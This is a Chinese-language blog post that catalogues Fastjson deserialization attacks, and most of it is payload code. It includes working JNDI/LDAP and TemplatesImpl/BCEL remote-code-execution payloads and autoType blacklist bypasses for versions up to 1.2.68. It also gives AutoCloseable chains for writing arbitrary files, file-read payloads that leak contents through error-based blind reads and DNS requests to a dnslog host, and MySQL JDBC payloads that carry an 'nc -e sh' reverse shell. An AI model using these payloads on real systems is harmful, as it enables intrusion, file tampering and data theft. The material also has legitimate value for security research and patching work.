浅谈Java反序列化Fastjson&bypass

浅谈Java反序列化Fastjson&bypass

fastjson介绍

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

Student:

package org.example;

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

复制代码
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
    public static void main(String[] args) {
        Student student = new Student();
        student.setName("Harder");
//        student.setAge(6);
        String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonString);
        JSONObject jsonObject = JSON.parseObject(jsonString);
    }
}
复制代码

我们发现在json序列化过程中会调用其getter,而在parseObject过程中会getter和setter和is同时调用。这也是我们造成漏洞的原因。

具体流程看了跟踪了一下,感觉大概明白了(晕晕的),先往前推推进度吧,后续在来细看

fastjson和原生反序列化的区别:

  1. 不需要实现Serializable

  2. 变量不需要不是transient 变量有对应的setter或者是public或者是满足条件的getter(getter方法利用要满足返回值是Map那几种,也不一定如果toJSON前面不出错也可以出发getter)

  3. setter和getter 不是readObject

  4. 相同的是sink 反射/动态类加载

Fastjson<=1.2.24

JdbcRowSetImpl

这个payload其实本质是打jndi,遇到环境的时候要考虑jdk版本,在Java高版本中LDAP和RMI受到trustURLCodebase限制,然后配合我们之前的高版本打jndi来做。总体来说这个链子还是非常好用的

package org.example;

import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/JnoMzNoZ\",\"AutoCommit\":false}";
        JSON.parseObject(s);
    }
}
复制代码

TemplatesImpl

这个可以用于加载字节码,也可以在不出网的情况下利用。但是有个极大的弊端,需要指定Feature.SupportNonPublicField。所以还是很少用它

这是TemplatesImpl加载字节码的流程,正好有个getter,我们可以调用getOutputProperties。然后实现后续一系列的链子

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String args[]){
        try {
            byte[] bytes = Files.readAllBytes(Paths.get("E:\\Download\\JavaThings-master(1)\\JavaThings-master\\fastjson\\target\\classes\\TemplatesBytes.class"));
            String base64 = java.util.Base64.getEncoder().encodeToString(bytes);
            System.out.println(base64);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String s = "{\"@type\":\"" + NASTY_CLASS +
                    "\",\"_bytecodes\":[\""+base64+"\"],'_name':'lemono','_tfactory':{ },\"_outputProperties\":{ },";
            System.out.println(s);
            JSON.parseObject(s, Feature.SupportNonPublicField);
//            Object obj = JSON.parse(s, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
复制代码

后面那些赋值都有setter可以用,所以值和之前cc链一样赋值就可以了

BCEL

参考:https://www.freebuf.com/vuls/360993.html

BCEL Classloader在 JDK < 8u251之前是在 rt.jar里面。且在Tomcat7和Tomcat8下的利用类不同。(高版本jdk)

tomcat7:
org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8及其以后:
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
引入tomcat-dhcp依赖;

pom.xml:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>8.5.42</version>
</dependency>
复制代码
com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
复制代码

在loadClass()方法中,createClass()通过subString()截取BCELBCEL后的字符串,并调用Utility.decode进行相应的解码并最终返回改字节码的bytes数组。之后生成Parser解析器并调用parse()方法进行解析,生成JavaClass对象。之后获取到了该JavaClass对象的bytes数组并调用java原生的defineClass()加载,从而实现类加载。
作为类加载器,可以用于加载系统、网络或者其他来源的类文件,所以BCEL类加载器在攻防领域中的应用包括Fuzz反序列化Gadget、Thymeleaf SSTI利用、Fastjson BCEL利用等,只要是采用BCEL类加载器加载用户传入数据的地方皆可成为被利用的攻击点。

https://github.com/hunzi0/BCELCode/releases/tag/1.0 这个工具可用来加密类和解密BECL编码的类

利用:

生成BCEL形式字符:

Path path = Paths.get("E:/TestRef.class");
byte[] bytes = Files.readAllBytes(path);
String result = Utility.encode(bytes,true);//生成becl形式的编码
System.out.println("$$BCEL$$" + result);
复制代码

TestRef.class:

public class TestRef {
    public TestRef() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}
复制代码
{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$+bcel值"
        }
    }: "x"
}
复制代码

Fastjson <=1.2.47

在1.2.25版本之后,修补方案是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass替换为checkAutoType()函数。采用黑名名单对其类实现一种过滤。

默认情况下autoTypeSupport为False,当为false时候默认用黑名单过滤且禁止反序列化。如果设置true的话可以用一些小tips进行绕过补丁

com.alibaba.fastjson.parser.ParserConfig#checkAutoType
复制代码

1.2.25 - 1.2.41 补丁绕过(autoTypeSupport=true)

当如果我们直接运行刚刚的那个代码可以发现

他把这些类给ban了

然而在autoTypeSupport=true的时候我们可以用一下的payload实现绕过

{
  "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
  "dataSourceName":"ldap://127.0.0.1:8085/cNZJYuNO",
  "autoCommit":true
} 
复制代码

1.2.25-1.2.42 补丁绕过(autoTypeSupport=true)

{
	"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
	"dataSourceName":"ldap://localhost:1389/Exploit", 
	"autoCommit":true
}
复制代码

1.2.25-1.2.43 补丁绕过(autoTypeSupport=true)

{
	"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
	"dataSourceName":"ldap://localhost:1389/Exploit",
	"autoCommit":true
}
复制代码

因为默认是false,意义不大。我们还是研究一下怎么绕false的情况吧

JdbcRowSetImpl_Bypass

JdbcRowSetImpl在黑名单中

exp:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://10.30.1.214:1389/my9azs",
        "autoCommit":true
    }
}
复制代码

我们来看看绕过的流程:

这里的getClassFromMapping从缓存中取到类是可以直接return类的。

那我们得想办法把我们的类给加载到Mapping表中,于是我们找一个地方有Mapping.put的,把我们的恶意类缓存到Mapping表中。我们找到函数loadClass发现里面有mappings.put能够将对象put进去。继续找谁调用了这个函数

我们可以看到在MiscCodec里面的deserialze函数里面调用了loadClass方法,MiscCodec是实现了一个序列化和反序列化器

然后我们看这里是调用了deserialze方法的,前面的deserializer是反序列化器,是在config里面获取的。我们可以看到config里面Class.Class对呀的反序列化器是MiscCodec类。一切就正好,所以我们只要设置key为java.lang.Class就行,把我们想要绕过的类,作为值就可以了,put到缓存里面来。

Fastjson <= 1.2.68

在1.2.47中不仅可以绕过无法反序列化的限制,而且能bypass黑名单,在这个版本中,是无法绕过黑名单的。但是可以绕过无法反序列化的限制,也就是关闭autoTypeSupport的限制。

在1.2.68版本中更新了一个 safeMode 如果开启了safeMode,那么autoType就会被完全禁止。还在这添加了一个false

本次绕过checkAutoType()函数的关键点在于其第二个参数expectClass,可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类或实现类来实现绕过checkAutoType()函数执行恶意操作。

简单地说,本次绕过checkAutoType()函数的攻击步骤为:

  1. 先传入某个类,其加载成功后将作为expectClass参数传入checkAutoType()函数;
  2. 查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或setter方法中存在危险操作则可以被攻击利用;

我们这里是用的AutoCloseable来实现绕过的,因为AutoCloseable类获取到反序列化器为JavaBeanDeserializer,只有JavaBeanDeserializer和ThrowableDeserializer中的checkAutoType中传入expectClass的点是非空是自己的类型,我们可以通过这个来绕过实现提前类的返回,这个代码在这

这里就是在方法isAssignableForm中实现的是如果期望类是clazz类的接口和子类,则返回未true。所以直接能够跳到return clazz来

获取到序列化器后,进入JavaBeanDeserializer的序列化函数里面的checkAutoType,然后能够绕过序列化返回。后续由于我们的类不在黑名单中,导致expectClassFlag为true,进入loadClass()逻辑来加载目标类,但是由于AutoType关闭且jsonType为false,因此调用loadClass()函数的时候是不开启cache即缓存的

跟进loadClass函数发现这里用AppClassload加载器,加载之后即返回类。

写文件利用

依赖比较多,条件苛刻

payload:

{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "e:/ddd.txt",
"tempPath": "e:/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "cXdlcmFzZGY=",
"outputStream": {
"$ref": "$.stream"
},
"position": 8
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
复制代码

buffer为base64内容,position为写入的长度。targetPath是要写入的路径,把其设置为我要写入的路径

Commons-IO 2.0 - 2.6

JDK8: 1.2.37<=FastJson<=1.2.68
JDK11: 1.2.57<=FastJson<=1.2.68

<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.6</version>
</dependency>
复制代码

需保证在数据传入时长度必须大于8192(8KB)才会写入到文件,且只会写入前8KB

code是我们要写入的代码。

String code = "FLAG{THIS_IS_A_flAT_THAT_You_REALLY_waNT!!!}";
int length = code.length();
for (int i = 0; i <= 8192 - length ; i++) {
    code += " ";
}
String poc4 = "{\n" +
        "  \"x\":{\n" +
        "    \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
        "    \"input\":{\n" +
        "      \"@type\":\"java.lang.AutoCloseable\",\n" +
        "      \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" +
        "      \"reader\":{\n" +
        "        \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" +
        "        \"charSequence\":{\"@type\":\"java.lang.String\"\"" + code +"\"\n" +
        "      },\n" +
        "      \"charsetName\":\"UTF-8\",\n" +
        "      \"bufferSize\":1024\n" +
        "    },\n" +
        "    \"branch\":{\n" +
        "      \"@type\":\"java.lang.AutoCloseable\",\n" +
        "      \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\n" +
        "      \"writer\":{\n" +
        "        \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +
        "        \"file\":\"e:/aaa.txt\",\n" +
        "        \"encoding\":\"UTF-8\",\n" +
        "        \"append\": false\n" +
        "      },\n" +
        "      \"charsetName\":\"UTF-8\",\n" +
        "      \"bufferSize\": 1024,\n" +
        "      \"writeImmediately\": true\n" +
        "    },\n" +
        "    \"trigger\":{\n" +
        "      \"@type\":\"java.lang.AutoCloseable\",\n" +
        "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
        "      \"is\":{\n" +
        "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
        "        \"input\":{\n" +
        "          \"$ref\":\"$.input\"\n" +
        "        },\n" +
        "        \"branch\":{\n" +
        "          \"$ref\":\"$.branch\"\n" +
        "        },\n" +
        "        \"closeBranch\": true\n" +
        "      },\n" +
        "      \"httpContentType\":\"text/xml\",\n" +
        "      \"lenient\":false,\n" +
        "      \"defaultEncoding\":\"UTF-8\"\n" +
        "    },\n" +
        "    \"trigger2\":{\n" +
        "      \"@type\":\"java.lang.AutoCloseable\",\n" +
        "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
        "      \"is\":{\n" +
        "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
        "        \"input\":{\n" +
        "          \"$ref\":\"$.input\"\n" +
        "        },\n" +
        "        \"branch\":{\n" +
        "          \"$ref\":\"$.branch\"\n" +
        "        },\n" +
        "        \"closeBranch\": true\n" +
        "      },\n" +
        "      \"httpContentType\":\"text/xml\",\n" +
        "      \"lenient\":false,\n" +
        "      \"defaultEncoding\":\"UTF-8\"\n" +
        "    },\n" +
        "    \"trigger3\":{\n" +
        "      \"@type\":\"java.lang.AutoCloseable\",\n" +
        "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
        "      \"is\":{\n" +
        "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
        "        \"input\":{\n" +
        "          \"$ref\":\"$.input\"\n" +
        "        },\n" +
        "        \"branch\":{\n" +
        "          \"$ref\":\"$.branch\"\n" +
        "        },\n" +
        "        \"closeBranch\": true\n" +
        "      },\n" +
        "      \"httpContentType\":\"text/xml\",\n" +
        "      \"lenient\":false,\n" +
        "      \"defaultEncoding\":\"UTF-8\"\n" +
        "    }\n" +
        "  }\n" +
        "}";
System.out.println(poc4);
复制代码

Commons-IO 2.7 - 2.8

String code5 = "FLAG{THIS_IS_A_flAT_THAT_You_REALLY_waNT!!!}";
int length5 = code5.length();
for (int i = 0; i <= 8192 - length5 ; i++) {
    code5 += " ";
}
String poc5 = "\n" +
        "{\n" +
        "  \"x\":{\n" +
        "    \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
        "    \"input\":{\n" +
        "      \"@type\":\"java.lang.AutoCloseable\",\n" +
        "      \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" +
        "      \"reader\":{\n" +
        "        \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" +
        "        \"charSequence\":{\"@type\":\"java.lang.String\"\""+ code5 +"\",\n" +
        "        \"start\":0,\n" +
        "        \"end\":2147483647\n" +
        "      },\n" +
        "      \"charsetName\":\"UTF-8\",\n" +
        "      \"bufferSize\":1024\n" +
        "    },\n" +
        "    \"branch\":{\n" +
        "      \"@type\":\"java.lang.AutoCloseable\",\n" +
        "      \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\n" +
        "      \"writer\":{\n" +
        "        \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +
        "        \"file\":\"e:/ccc.txt\",\n" + //更改文件写入路径
        "        \"charsetName\":\"UTF-8\",\n" +
        "        \"append\": false\n" +
        "      },\n" +
        "      \"charsetName\":\"UTF-8\",\n" +
        "      \"bufferSize\": 1024,\n" +
        "      \"writeImmediately\": true\n" +
        "    },\n" +
        "    \"trigger\":{\n" +
        "      \"@type\":\"java.lang.AutoCloseable\",\n" +
        "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
        "      \"inputStream\":{\n" +
        "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
        "        \"input\":{\n" +
        "          \"$ref\":\"$.input\"\n" +
        "        },\n" +
        "        \"branch\":{\n" +
        "          \"$ref\":\"$.branch\"\n" +
        "        },\n" +
        "        \"closeBranch\": true\n" +
        "      },\n" +
        "      \"httpContentType\":\"text/xml\",\n" +
        "      \"lenient\":false,\n" +
        "      \"defaultEncoding\":\"UTF-8\"\n" +
        "    },\n" +
        "    \"trigger2\":{\n" +
        "      \"@type\":\"java.lang.AutoCloseable\",\n" +
        "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
        "      \"inputStream\":{\n" +
        "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
        "        \"input\":{\n" +
        "          \"$ref\":\"$.input\"\n" +
        "        },\n" +
        "        \"branch\":{\n" +
        "          \"$ref\":\"$.branch\"\n" +
        "        },\n" +
        "        \"closeBranch\": true\n" +
        "      },\n" +
        "      \"httpContentType\":\"text/xml\",\n" +
        "      \"lenient\":false,\n" +
        "      \"defaultEncoding\":\"UTF-8\"\n" +
        "    },\n" +
        "    \"trigger3\":{\n" +
        "      \"@type\":\"java.lang.AutoCloseable\",\n" +
        "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
        "      \"inputStream\":{\n" +
        "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
        "        \"input\":{\n" +
        "          \"$ref\":\"$.input\"\n" +
        "        },\n" +
        "        \"branch\":{\n" +
        "          \"$ref\":\"$.branch\"\n" +
        "        },\n" +
        "        \"closeBranch\": true\n" +
        "      },\n" +
        "      \"httpContentType\":\"text/xml\",\n" +
        "      \"lenient\":false,\n" +
        "      \"defaultEncoding\":\"UTF-8\"\n" +
        "    }\n" +
        "  }";
System.out.println(poc5);

复制代码

JDK11-无限制写文件

1.2.57<=FastJson<=1.2.68
主要针对JDK11版本,无其他环境依赖,且写入文件完整。
当确定JDK版本为11,可优先选择这条链。

public class Fastjson_WriteFile_JDK11 {
    public static void main(String[] args) throws Exception {
    	String code = gzcompress("qwerasdf");
    	//php -r "echo base64_encode(gzcompress('qwerasdf'));"
    	//<=1.2.68 and JDK11
        String payload = "{\r\n"
        		+ "    \"@type\":\"java.lang.AutoCloseable\",\r\n"
        		+ "    \"@type\":\"sun.rmi.server.MarshalOutputStream\",\r\n"
        		+ "    \"out\":\r\n"
        		+ "    {\r\n"
        		+ "        \"@type\":\"java.util.zip.InflaterOutputStream\",\r\n"
        		+ "        \"out\":\r\n"
        		+ "        {\r\n"
        		+ "           \"@type\":\"java.io.FileOutputStream\",\r\n"
        		+ "           \"file\":\"e:/bbb.txt\",\r\n"
        		+ "           \"append\":false\r\n"
        		+ "        },\r\n"
        		+ "        \"infl\":\r\n"
        		+ "        {\r\n"
        		+ "            \"input\":\r\n"
        		+ "            {\r\n"
        		+ "                \"array\":\""+code+"\",\r\n"
        		+ "                \"limit\":16\r\n"  //需对应修改
        		+ "            }\r\n"
        		+ "        },\r\n"
        		+ "        \"bufLen\":1048576\r\n"
        		+ "    },\r\n"
        		+ "    \"protocolVersion\":1\r\n"
        		+ "}\r\n"
        		+ "";
        System.out.println(payload);
        JSON.parseObject(payload);	
    }
    public static String gzcompress(String code) {
    	byte[] data = code.getBytes();
        byte[] output = new byte[0];
        Deflater compresser = new Deflater();
        compresser.reset();
        compresser.setInput(data);
        compresser.finish();
        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
        try {
            byte[] buf = new byte[1024];
            while (!compresser.finished()) {
                int i = compresser.deflate(buf);
                bos.write(buf, 0, i);
            }
            output = bos.toByteArray();
        } catch (Exception e) {
            output = data;
            e.printStackTrace();
        } finally {
            try {
                bos.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        compresser.end();
        System.out.println(Arrays.toString(output));
        return Base64.getEncoder().encodeToString(output);
    }
}
复制代码

gzcompress中传入需要写入的数据,区别于单纯base64编码数据,测试只能通过这种方式经压缩算法压缩后写入到文件。随后是修改limit处,与之前为原始数据长度不同,这里会有一点偏差, 他往往会比真实长度要短。例如我这里要写入的数据为qwerasdf,对应长度为8,但写上8会发现写入到文件中是错误的甚至为空。
这里解决方式是利用报错,先适当写入比原始长度更长的数据,如20(测试发现尽量为2倍),同时在报错中会给出真实数据容量。

真实环境测试

409才是对应的真实数据容量

读文件利用

aspectjtools

<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjtools</artifactId>
    <version>1.5.4</version>
</dependency>
复制代码

虽然可做到读文件,但实际上是文件迁移,将会清空temp文件,写入到target中,所以,慎用!

//temppath存在,targetpath不存在,则将temp文件写入target
String poc3 = "{\n" +
        "    \"@type\": \"java.lang.AutoCloseable\",\n" +
        "    \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
        "    \"targetPath\": \"./bbbbbbb.txt\",\n" +
        "    \"tempPath\": \"e:/aaa.txt\"\n" +
        "}";
复制代码

Commons-IO - 报错

相较于上一种利用更加广泛,引入的依赖更加常见。

<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.6</version>
</dependency>
复制代码

类似于SQL的报错布尔盲注,根据报错信息不同判断文件内容。
后续脚本或burp爆破即可。

//commons-io 报错盲注
 String poc2 =  "{\n" +
         "    \"abc\": {\n" +
         "\t\t\t\t\"@type\": \"java.lang.AutoCloseable\",\n" +
         "        \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\n" +
         "        \"delegate\": {\n" +
         "            \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" +
         "            \"reader\": {\n" +
         "                \"@type\": \"jdk.nashorn.api.scripting.URLReader\",\n" +
         "                \"url\": \"file:///e:/ccc.txt\"\n" +  //待读取的文件内容
         "            },\n" +
         "            \"charsetName\": \"UTF-8\",\n" +
         "            \"bufferSize\": 1024\n" +
         "        },\n" +
         "        \"boms\": [\n" +
         "            {\n" +
         "                \"charsetName\": \"UTF-8\",\n" +
         "                \"bytes\": [\n" +
         "                    70,76\n" +  //文件内容的ascii,例如e:/ccc.txt中前两个字符FL,对应的ascii:70,76
         "                ]\n" +
         "            }\n" +
         "        ]\n" +
         "    },\n" +
         "    \"address\": {\n" +
         "        \"@type\": \"java.lang.AutoCloseable\",\n" +
         "        \"@type\": \"org.apache.commons.io.input.CharSequenceReader\",\n" +
         "        \"charSequence\": {\n" +
         "            \"@type\": \"java.lang.String\"{\"$ref\":\"$.abc.BOM[0]\"},\n" +
         "            \"start\": 0,\n" +
         "            \"end\": 0\n" +
         "        }\n" +
         "    }\n" +
         "}";
复制代码

Commons-IO - DNSLOG

存在commons-io依赖即可,字节正确则发起DNS请求,根据请求读取文件信息。适用于无回显条件。

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///e:/ccc.txt"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [70,76] //与上述一致
      }
    ]
  },
  "address": {
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "http://lemono.s42bkn.dnslog.cn"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },
    "boms": [{"$ref":"$.abc.BOM[0]"}]
  },
  "xxx":{"$ref":"$.address.BOM[0]"}
}
复制代码

Mysql-JDBC反序列化

5.1.11-5.1.48

存在mysql-connect依赖可JDBC反序列化rce。
先启动fake_mysql服务端https://github.com/fnmsd/MySQL_Fake_Server,具体使用看JDBC反序列化篇。

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.47</version>
</dependency>
复制代码
// mysql 5.1.11-5.1.48
{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.jdbc.JDBC4Connection",
    "hostToConnectTo": "127.0.0.1",
    "portToConnectTo": 3306,
    "info": {
        "user": "yso_CommonsCollections6_nc 127.0.0.1 9999 -e sh",
        "password": "12345",
        "maxAllowedPacket": "655360",
        "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
        "autoDeserialize": "true",
        "NUM_HOSTS": "1"
    },
    "databaseToConnectTo": "dbname",
    "url": ""
}
复制代码

6.0.2-6.0.3

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
    "proxy": {
        "connectionString": {
            "url": "jdbc:mysql://localhost:3306/test?allowLoadLocalInfile=true&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_nc 127.0.0.1 9999 -e sh"
        }
    }
}
复制代码

8.0.19

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [
                {
                    "host": "127.0.0.1"
                }
            ],
            "slaves": [],
            "properties": {
                "host": "127.0.0.1",
                "user": "yso_CommonsCollections6_calc",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true",
                "allowLoadLocalInfile": "true"
            }
        }
    }
}
复制代码

参考:

https://b1ue.cn/archives/382.html

https://drun1baby.top/2022/08/04/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8701-Fastjson%E5%9F%BA%E7%A1%80/